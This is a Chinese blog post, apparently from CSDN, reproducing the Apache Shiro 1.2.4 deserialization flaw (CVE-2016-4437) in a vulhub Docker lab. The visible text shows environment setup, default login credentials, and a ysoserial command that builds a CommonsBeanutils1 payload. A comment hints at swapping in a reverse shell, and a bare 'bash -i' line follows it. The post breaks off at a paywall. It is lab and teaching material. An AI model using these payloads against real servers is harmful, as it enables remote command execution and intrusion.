Apache Shiro 1.2.4反序列化漏洞复现

最新推荐文章于 2024-06-07 07:31:44 发布

月光下的她很美

最新推荐文章于 2024-06-07 07:31:44 发布

阅读量352

点赞数 2

分类专栏：漏洞复现文章标签：渗透测试 shiro 安全漏洞安全

本文链接：https://blog.csdn.net/weixin_43223153/article/details/117770821

版权

本文详细介绍了Apache Shiro 1.2.4版本的反序列化漏洞复现过程。首先，通过搭建vulhub靶场和安装ysoserial工具来准备环境。接着，利用默认账号密码登录并生成CommonsBeanutils1的Gadget。然后，使用Shiro的默认密钥加密Payload，并在Burp Suite中抓包替换cookie。成功放包后，验证了漏洞利用效果，发现攻击者可以利用此漏洞执行任意命令。最后，建议升级到Shiro的最新版本以避免安全风险。

摘要由CSDN通过智能技术生成

Apache Shiro 1.2.4反序列化漏洞复现

1. 环境搭建
安装漏洞靶场vulhub

git clone git://github.com/vulhub/vulhub.git

下载安装ysoserial

项目源地址：https://github.com/frohoff/ysoserial
jar包下载地址：https://jitpack.io/com/github/frohoff/ysoserial/master-d367e379d9-1/ysoserial-master-d367e379d9-1.jar

2. 漏洞复现
1、进入到我们下载好的vulhub shiro反序列化漏洞靶场：

cd vulhub/shiro/CVE-2016-4437/
docker-compose up -d

2、打开我们本地的浏览器访问虚拟机的IP地址加8080端口：
在这里插入图片描述
默认的登陆账号密码：admin\vulhub
3、使用ysoserial生成CommonsBeanutils1的Gadget：

java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "touch /opt/wula" > poc.ser
# 要反弹sheel的就将命令换成反弹shell命令，ysoserial命令也需要更换，这里就不做详解了。
bash -i

最低0.47元/天解锁文章

月光下的她很美

关注

2
点赞
踩
3

收藏

觉得还不错? 一键收藏
3
评论
Apache Shiro 1.2.4反序列化漏洞复现

Apache Shiro 1.2.4反序列化漏洞复现1. 环境搭建安装漏洞靶场vulhubgit clone git://github.com/vulhub/vulhub.git下载安装ysoserial项目源地址：https://github.com/frohoff/ysoserialjar包下载地址：https://jitpack.io/com/github/frohoff/ysoserial/master-d367e379d9-1/ysoserial-master-d367e379d9-
复制链接

扫一扫